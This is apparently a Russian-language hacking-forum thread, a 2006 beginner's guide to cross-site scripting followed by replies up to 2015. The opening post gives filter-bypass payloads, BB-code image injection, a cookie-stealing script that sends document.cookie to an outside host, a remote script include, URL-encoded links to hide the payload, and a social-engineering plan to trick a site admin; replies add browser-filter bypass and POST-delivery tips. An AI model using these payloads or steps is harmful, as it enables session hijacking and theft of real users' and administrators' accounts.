ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Xss для новичков (https://forum.antichat.xyz/showthread.php?t=20140)

Micr0b 04.06.2006 18:25

Xss для новичков
 
Привет!!!
В этой теме я хочу детально описать Xss от A до Я.
На античате много есть инфы по Xss, но ни в 1-ой из них я не нашёл хорошего обяснения для новичков, извините если я ошибаюсь...
Статью не полностю написал я, кое-что нашел в инете, и на нашем форуме, за что очень благодарен =)
Так что начнём...
========================================

### Xss это Css => Cross Site Scripting
Чтобы не путать с CSS также назвыают XSS
Впервые этот БАГ появился в 1997.

========================================


### Как используют XSS.

Для начала нам нужно знать что такое Cookie.
Если вы знаете, можете пропустить.

Cookie служат для сохранения учетных данных сайта на компьютере поситителя.
Если вы зарегестрировались на сайте под ником 'blabluble', то сайт сохранил у вас на компьютере файл с cookies, где закодированы ваши данные.
А если вы есть админ и у вас есть доступ к сайту, а я - юзер, который украл у вас(админа) cookies, то я могу спокойно зайти на сайт, и сайт меня определяет как 'admin' - у меня будут администраторские права.

Для смены(подстановки украденных) кук советую использувать прогу CookieEdit для IE или встроенные функции в Опере и Фаерфоксе.

========================================
Мы разобрались что такое куки идём дальше...
Чтобы перехватить cookies надо найти место на сайте, где можно выполнить XSS-атаку.


### Что такое XSS-атака?

XSS атаки - это атаки не на сам сайт, а на пользователей сайта.
XSS - это недоработка в фильтре, приложении.

Бывают пассивные XSS и активные XSS.

Что такое пассивные XSS?

Пассивные
- это Xss, которые требуют от жертвы непосредственного участия + есть специфические ограничения и сложности.
Поэтому, пассивные XSS не очень ценятся.
Например, нужно заставить её пройти по ядовитой ссылке, что потребует социальной инженерии, хитрости.

Активные - это XSS, которые, не требуют никаких дополнительных действий со стороны жертвы - ей достаточно лишь открыть страницу с вашим XSS и ява-код выполнится автоматически.
Благодаря своей автоматизированности - они очень полезны и ценны.
Например, активные хсс существуют в BB-тегах из-за недостаточной фильтрации, когда вы оставляете сообщение на форуме\гостевухе\чате, которое будет всегда активен при каждом обновлении.

========================================


### Итак, перейду конкретно к тому, как найти в данном сайте XSS.

Как я раньше уже писал что XSS состоит из тегов, они же состоят из html, и javascript языка =).

Javascript можно вписывать в html.
Можно кодировать, чтобы обойти фильтры. Но об этом позже.

Как узнать, что XSS на даном сайте проходит?
Ужасна распрастраннёная узявимость типа
<script>alert()</script> Пытаемся вставить во все различные поля этот скрипт... если вышло сообщение значит скрипт обработался и выполнился.

Самая распостраненая XSS (наблюдаеться во всех местах где плохая фильтрация):
"><script>alert()</script>
Вся суть в "> .
Давайте подумаем, что мы делаем, когда вводим в поле "><script>alert()</script> , что происходит?
Мы вводим в форму "><script>alert()</script> какой-то переменной присваиваеться значение поля. Переменная обрабатывается, "> выполняеться, закрывает
скрипт и выпролняет <script>alert()</script>

Эта XSS самая распостраненая в поисковиках:
Просматриваем все поля сайта и пытаемся вставить "><script>alert()</script>
Если вышло сообщение - вы нашли XSS...

========================================


### А как определить есть фильтр или нет?

Просто в любое поле вводим: '';!--"<fuck>=&{()}
Дальше открываем html страничку и ищем слово "fuck"
и смотри последующие сиволы..

Если <> так и остались то это перваый признак уязвимости - значит фильтр имеет дырку.
Если ,"'\ символы остались такими, как были введены - это второй признак уязвимости - возможные дополнительные символы к последующей XSS атаке.
Затем, если открыв HTML, вы не обнаружили <> то скорее всего дырка в фильтре.
Если открыв HTML вы обнаружили, что <> заменены на другие символы, то это облом - фильтр по крайней
мере функционирует нормально.
Возможно еще ввести в поле для проверки фильтрации вот так: "><>'"`,/\?@%

Рассмотрим случай если фильтр съедает <>

В этом случае существует вероятность дырки.
К примеру, у фильтра условие съедать <script>,<> и .
Тогда пробуем <zxcvbnzxc792> и смотрим, если не съелось - нашли дырку...дальше можно составить боевой XSS-скрипт.

Ещe существует метод вложенного скрипта, к примеру вот так:
<sc<script>ript>alert()</sc</script>ript>
это, если фильтр не оч. сильный и плохо фильтрует.

Еще можно попробовать во так:
>>>><<script бывает, что фильтр подсчитывает откр. и закр. скобки и закрывает сам. Сначало фильтрует, а потом закрывает... что дает нам дырку к инъекции скрипта.

Частенько бывает что фильтр дополняет скрипт, к примеру вот этим :
">
http://******.ru/trye.asp?sessionID="><IMG%20SRC="javascript:alert( );

Фильтр смотрит, что ничего опасного в <IMG%20SRC="javascript:alert(); нет, закрывает и тем самым
выполняя скрипт.

Еще конечно если фильтр не фильтрует различные кодировки то можно попытаться закодировать скрипт и вставить код.

Все надо пытаться методом проб и ошибок искать...
Пытаться вводить в поля и внимательно просматривать что мы получили от фильтра.
Методом тыков понять, как фильтр работает, есть ли у него недоработки.
Если фильтр плохой, мы всегда можем вставить скрипты.

========================================


### Активные XSS

Тут надо использовать разрешенные теги и прекрываясь ими, надо выполнить запрос.

Например, теги url,bb,img.
Весь смысл вставки заключается в том, что нам надо встроить запрос в париметр img или url. У Img есть много парметров кроме src и alt.
Этот баг очень часто используется на форуме, в гостевухах...

Рассмотрим активные XSS.

Предупреждения!!!
Теги [fon*t],[im*g],[ur*l] пишутса с * для того, штобы они не использовались данным форумом.
Для использувания этих тегов удалите *.

К примеру просмотрим форум на наличие использования тегов [fon*t],[im*g],[ur*l] и попытаться вставить в них скрипт или комбинировать их.:

[im*g]httр://www.qwewqw.ru/1.jpg[/im*g]Выходит крестик...значит img используется и мы его подобрали (просто дело в том, что бывает img включен, а админы из создания сообщения его убирают, мол картинки вставлять нельзя и бывает он в использовании
разной формы) если крестика нет...а висит всего надпись, то попробуйте еще так:
[im*g src=httр://www.qwewqw.ru/1.jpg]

Ну так вот к примеру мы добились крестика этим:
[im*g]httр://www.qweqw.ru/1.jpg[/im*g]

Проверим держит ли фильтр пробел, добавляем пробел после расширения jpg :
[im*g]httр://www.qweqw.ru/1.jpg [/im*g]
если крестик есть - тогда всё ОК.

Далее существуют у img параметры dynsrc и lowsrc которые держат яваскрипт. Пытаемся к примеру вставить:
[im*g]http://www.qwewqw.ru/1.jpg dynsrc=javascript:alert()[/im*g]
проверяем, отсылаем - появиться сообщение - значит нашли активную XSS и вместо alert() можете вставить любой скрипт.

Если фильтр не сдался попробуйте так:
[im*g]http://www.qweqw.ru/"/dynsrc="javascript:alert()"/1.jpg[/im*g]
и
[im*g]http://www.qwewqw.ru/"/dynsrc=javascript:alert()/1.jpg[/im*g]

Если с приведённых примеров получился крестик, то httр://www.qweqw.ru/1.jpg заменяем на адрес сниффера.

Бывают случаи, когда jpg отключен админом.

========================================


###Мы всё время делали коды типа:

<script>alert('HakNet')</script>
javascript:alert('HakNet')
javascript:alert('HakNet')/1.jpg и так далие..
Но они никакой пользы не принесли, это просто коды для проверки(тестировки) на Xss.

Вот скрипт:
<script>
img = new Image();
img.src = "http://antichat.org/s/HakNet.gif?"+document.cookie;
</script>

Он уже ворует куки =)

========================================


###Как его подставить к ссылке с Xss?

Да очень легко...
Есть несколко вариантов:

- 1)делаем вот так:
http://*****.ru/free?p='><script>img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;"+document.cookie;</script>
где **** сайт с Xss.

Вот сам составленый скрипт:
'><script>img = new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;</script>

- 2)Можно ещё делать вот так:
http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script>
где обращаетса к http://haknet.h16.ru/script/js.js

а в js.js есть:
img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;
этот способ более надёжен.

Но как я уже писал - иногда бывают затруднения с фильтрами на сайте (не прокатывает наш скрипт).
Тогда нужно подумать, как его обойти.
Можно просто нечто добавить, нечто поменять, или удалить в скрипте.
Но есть более надёжным вариант, когда мы просто закодируем скрипт. Для этого есть много прог.
Есть такой сайт как http://ha.ckers.org/xss.html (кодировщик-дэкодировщик).

Вот пример:
%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E

это был закодированный:

http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script>

- 3) Особенно шифрование необходимо не только для обмана фильтров, но и для обмана АДМИНА при использовании ПАССИВНОЙ ХСС.

Вот такой пример на основе социальной инженерии.
Ищем контакт с админом форума бросаем в форуме ему линк на свой сайт, и говориш типа так "клевая фича есть на сайте" и так дале в том же духе.
А на нашем сайте будет как вы уже догадались =) вот ето скрипт:

<script language="JavaScript">
document.location.href="%68%74%74%70%3A%2F%2F%2A%2 A%2A%2A%2A%2E%72%75%2F%66%72%65%65%3F%70%3D%27%3E% 3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A %2F%2F%68%61%6B%6E%65%74%2E%68%31%36%2E%72%75%2F%7 3%63%72%69%70%74%2F%6A%73%2E%6A%73%3E%3C%2F%73%63% 72%69%70%74%3E"
</script>


Что делает document.location.href вы спросите меня? )).. это ява-код, который без запроса переходит на указаной сайт Так чо ж у нас получается, дали мы линк админу, и он зашел на наш сайт, вот что делается.. его быстро бросает на

%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
а это уже и есть наш Xss в зашифрованом виде.

Примечание: это подействует только тогда, когда Xss будет принадлежать админу сайта которому вы бросили линк...
Иными словами ТРУДНОСТЬ ПАССИВНОЙ ХСС состоит в том, что уязвимость может быть использована ТОЛЬКО, если жертва АВТОРИЗОВАНА на уязвимом сайте!!!


========================================


### Вот несколько сылок на античате, где есть много полезной инфы.

---------------------
Теория:

Справочник по XSS

UTF-7 в атаках XSS

Cookies

Cross-site Scripting Краткий обзор

Как использовать cross-site scripting (css)

Анатомия межсайтового скриптинга

Фальсификация cookie

Xss — основные ходы

Xss без Xss

Xss Расширенный межсайтовый скриптинг

Проводим XSS без javascript

XSS крупным планом

Как можно произвести xss, если фильтруются кавычки?

Как зашифровать ссылку?

Новый обход фильтров форумов и и-мейлов используя атрибут style

---------------------
Практика:

Активный XSS в LiveJournal.com

XSS, SQL-inj, PHP-inj и др. на примере phpBB

Энциклопедия уязвимых скриптов

Баги на сайтах

Ipb 2.1.5 Xss

Уязвимости в vBulletin v3.5.x ( test: v3.5.4 )

Долго жданная статья как ломать античатовскй форум

---------------------
Сниферы для ХСС:

Скрипты сниффера (вебсниффера) и сайты со снифферами.

Обсуждение темы Скрипты вебсниффера

Скрипт CGI-сниффера

ProTeam Sniffer by Developer aka RUSH

========================================

Сорри, если что-то не так, пишите, учту, на ошибках учатся...
И ищё хочу добавить, что вы можете прочитать много полезной инфы на античате, и в goole.com.ua =)

Порошу не обсуждать очень строго. =), если что-то не так скажите, ТЕМА расчитана на новичков...

Все......

wanttoask 10.11.2012 19:37

а куда воруются куки?(document.write)

ChymeNik 10.11.2012 21:54

Цитата:

Сообщение от wanttoask
а куда воруются куки?(document.write)

Отправляются с помощью запроса на твой сайт, сервер.

wanttoask 11.11.2012 14:05

Они в изображение записываются?

Ivolve 18.01.2014 14:30

На вопрос как найти уязвимость на сайте, здесь пишут:

alert() пытаемся вставить во все поля сайта.

Как это сделать? Я пробовал в chrome по правой кнопке код элемента, дальше его изменял, и еще отобразить код страницы. Но при обновлении страницы все стирается и сообщения не выводится.

Может, есть какие-то другие способы выявить уязвимостью внедрить код?

Что делать, подскажите пож-ста?))

lіgendо 18.01.2014 15:25

лучше в опере пробовать, хромы и фф режут хсс

kingbeef 18.01.2014 15:25

Цитата:

Сообщение от Ivolve
На вопрос как найти уязвимость на сайте, здесь пишут:
alert() пытаемся вставить во все поля сайта.
Как это сделать? Я пробовал в chrome по правой кнопке код элемента, дальше его изменял, и еще отобразить код страницы. Но при обновлении страницы все стирается и сообщения не выводится.
Может, есть какие-то другие способы выявить уязвимостью внедрить код?
Что делать, подскажите пож-ста?))

Ты поаккуратнее, а то браузер взломаешь.

M_script 18.01.2014 19:31

Цитата:

Сообщение от Ivolve
На вопрос как найти уязвимость на сайте, здесь пишут:

Этой теме 7 с половиной лет. С тех пор многое изменилось.

Если интересны XSS-атаки, советую начать с изучения HTML4. Тем более, что эти знания пригодятся практически для всех клиент-сайд атак. Следующий шаг - javascript.

После изучения HTML4 и JS ты сам сможешь определиться, в каком направлении развиваться дальше, а направлений этих будет предостаточно.

Цитата:

Сообщение от lіgendо
лучше в опере пробовать, хромы и фф режут хсс

Opera 12.x в идеале. Лень объяснять, кто знает - поймет, кто захочет - поверит, остальные - лесом.

Ivolve 21.01.2014 18:55

Если интересны XSS-атаки, советую начать с изучения HTML4. Тем более, что эти знания пригодятся практически для всех клиент-сайд атак. Следующий шаг - javascript.

После изучения HTML4 и JS ты сам сможешь определиться, в каком направлении развиваться дальше, а направлений этих будет предостаточно.

Одно время я изучал основы html и php, так что основы знаю. Если понадобится, буду изучать глубже, но все-таки как внедрить скрипт в код сайта?

kingbeef 21.01.2014 19:00

Цитата:

Сообщение от Ivolve
Если интересны XSS-атаки, советую начать с изучения HTML4. Тем более, что эти знания пригодятся практически для всех клиент-сайд атак. Следующий шаг - javascript.
После изучения HTML4 и JS ты сам сможешь определиться, в каком направлении развиваться дальше, а направлений этих будет предостаточно.
Одно время я изучал основы html и php, так что основы знаю. Если понадобится, буду изучать глубже, но все-таки как внедрить скрипт в код сайта?

Скажи, а ты пост выше читал?

Ivolve 07.02.2014 19:13

При вводе alert("123") в комментах выводит alert("123"), а остальное съедает, но в браузере окошка с 123 не всплывает ,значит ли это что скрипт выполняется,? Если нет, то в чем проблема?

p. s. я знаю HTML

MaxFast 07.02.2014 19:15

Цитата:

Сообщение от Ivolve
При вводе alert("123") в комментах выводит alert("123"), а остальное съедает, но в браузере окошка с 123 не всплывает ,значит ли это что скрипт выполняется,? Если нет, то в чем проблема?
p. s. я знаю HTML

Попробуй ">alert('xss'),

если не работает, попробуй другие способы обхода, а если и те не будут работать, то XSS нет.

Ivolve 07.02.2014 19:18

Цитата:

Сообщение от kingbeef
Скажи, а ты пост выше читал?

При вводе alert("123") в комментах выводит alert("123"), а остальное съедает, но в браузере окошка с 123 не всплывает ,значит ли это что скрипт выполняется,? Если нет, то в чем проблема?

p. s. я знаю HTML

Ivolve 07.02.2014 19:20

Цитата:

Сообщение от MaxFast
Попробуй ">alert('xss'),
если не работает, попробуй другие способы обхода, а если и те не будут работать, то XSS нет.

значит в инете, уже крайне мало сайтов с xss уязвимостями, Выходит, везде фильтров понаставили.

Unknown 10.02.2014 00:42

Цитата:

Сообщение от unic0rn
А вот это неправильно мнение. Ищите и найдете. Когда на крупном, практически государственном сайте, натыкаешься на очевидную SQLi - пропадает дар речи.
Про пароли админов 123456 и тд. вообще молчу.

Присоединяюсь. XSS никуда не делись. Быть может, совершенно дебильных вариантов вроде хсс в родном пхпшном phpinfo() стало меньше, но в целом, они живее всех живых. Зачастую одна маленькая пассивка может позволить подняться чуть ли не до рута.

Like-Angel 13.02.2014 19:17

извините за глупый вопрос а как искать в пойсковой системе данную уязвимость уже пол интернета облазил где только я не вставлял код

Unknown 13.02.2014 19:47

Цитата:

Сообщение от Like-Angel
извините за глупый вопрос а как искать в пойсковой системе данную уязвимость уже пол интернета облазил где только я не вставлял код

ты имеешь ввиду запрос в гугл? если да - то лично я не видел подобных запросов.. обычно xss ищются через различный софт..который находит и чекает их. Ну думаю найти софтину в гугле не сильно сложно.. так что удачи)

Inoms 13.02.2014 20:20

Xss, в отличие от php,sql, etc не выдает ошибок на сайте, по которым можно было бы искать уязвимые площадки от этого и поиск возможен или вручную или программами, которые вбивают в параметры запроса ковычки, угловые скобки и теги между ними и смотрят, что ответит сервер. Если поиск в ответе дал заданные значение - xss, иначе - 0

Fooog 17.02.2014 04:18

Цитата:

Сообщение от None
обычно xss ищются через различный софт..который находит и чекает их

Уже не один раз убедился, что софт, это далеко не человек. Даже самые последние сканеры, что я встречал, на некоторых сайтах пропускают найденное вручную.

yeti2 02.09.2014 18:45

Что то помнится в javascript есть такая функция , чтобы узнать полный путь до файла ... На помните пожалуйста, с alert'ом связано , чтобы окно выдавал и с promt , короче без разнице...

Прошу помощи

Deathdreams 02.09.2014 22:20

Цитата:

Сообщение от yeti2
Что то помнится в javascript есть такая функция , чтобы узнать полный путь до файла ... На помните пожалуйста, с alert'ом связано , чтобы окно выдавал и с promt , короче без разнице...
Прошу помощи

alert(window.location.href);

yeti2 02.09.2014 22:54

Цитата:

Сообщение от Deathdreams
alert(window.location.href);

Надо узнать корневую папку до сайта.

Как можно сделать через --file-read в sqlmap , можно просматривать папки? типо --file-read="ls /dir" ?

faza02 04.09.2014 17:51

yeti2, хсс выполняется на стороне клиента, поэтому она знать не может знать полный путь. по поводу раскрытия путей читай тут: https://rdot.org/forum/showthread.php?p=343

no_fear 30.09.2014 17:40

Подскажите, а что если фильтр обрезает по длине?

faza02 30.09.2014 18:44

no_fear, какое количество символов возможно?

{iddqd} 30.09.2014 21:46

тогда script src=...

и урл покороче

weropool 04.11.2014 23:24

а подскажите адрес сервиса по шифровке/расшивровке ссылок? а то пару месяцев назад натыкался, да потерял ссылки....

Ан нет, нашел))

faza02 04.11.2014 23:29

Цитата:

Сообщение от weropool
а подскажите адрес сервиса по шифровке/расшивровке ссылок? а то пару месяцев назад натыкался, да потерял ссылки....

подробнее. что за расшифровка ссылок?

weropool 04.11.2014 23:41

Цитата:

Сообщение от faza02
подробнее. что за расшифровка ссылка?

ну наверное насчет шифровки я погорячился...

ну на пример ссылка:

/showthread.php?p=3785242#post3785242

после преобразоваиня будет иметь вид

http%3A%2F%2Fforum.antichat.ru%2Fshowthread.php%3F p%3D3785242%23post3785242

faza02 05.11.2014 00:14

url encoder/decoder

Kolyan333 20.11.2014 19:12

нашел xss, сканер показал так.) в общем форма для обратной связи с админом в поле ввожу скрипт выполняется только как подсунуть это жертве не знаю , данные передаются через POST . имел дело с get.. помогите пожалуйста

faza02 20.11.2014 19:53

создай страницу с формой, которая будет отправлять пост запрос на страницу с хсс в ифрейме

Kolyan333 20.11.2014 20:40

Цитата:

Сообщение от faza02
создай страницу с формой, которая будет отправлять пост запрос на страницу с хсс в ифрейме

спс щас сделаем.. эт активная xss получается?

M_script 20.11.2014 21:09

Цитата:

Сообщение от Kolyan333
эт активная xss получается?

Нет. Код передается в запросе, а не хранится на сервере.

Kolyan333 20.11.2014 22:56

Цитата:

Сообщение от M_script
Нет. Код передается в запросе, а не хранится на сервере.

спс братан . но проблема одна токен мешает, здесь на форуме видел статью обхода но я не смог реализовать, сможешь помочь если разбираешься просто эт в крупном сайте..в паблик не могу скинуть

M_script 21.11.2014 05:26

Если в пассивной XSS есть CSRF-токен, это уже не XSS, сделать ничего не получится.

noxjoker 22.03.2015 00:58

Требую помощи. В каких-то из обнов пошло в Опере и Хроме такое:

http://i58.fastpic.ru/big/2015/0322/...ca5fbb8f44.png

Есть ли решение ? Или XSS мёртв ?

Вписываешь html код с ява скриптом пишет такое, если убрать onerror="alert()" то тэг красным не отображается.

faza02 22.03.2015 08:55

Цитата:

Сообщение от noxjoker
Требую помощи. В каких-то из обнов пошло в Опере и Хроме такое:
http://i58.fastpic.ru/big/2015/0322/...ca5fbb8f44.png
Есть ли решение ? Или XSS мёртв ?
Вписываешь html код с ява скриптом пишет такое, если убрать onerror="alert()" то тэг красным не отображается.

гуглите по chrome auditor bypass. для старых версий может что-то найдете. а так, да, скорее мертв, чем жив. однако DOM based или XSS в JS вида

Код:

");alert();//
все еще работает. ищите их

Yume 25.08.2015 23:54

Цитата:

Сообщение от wanttoask

Они в изображение записываются?

Они записываються в лог файл если я правильно понял)

girke22 31.12.2015 00:17

Все детально разжевано, спасибо вам за статью. Помогла.


Время: 13:33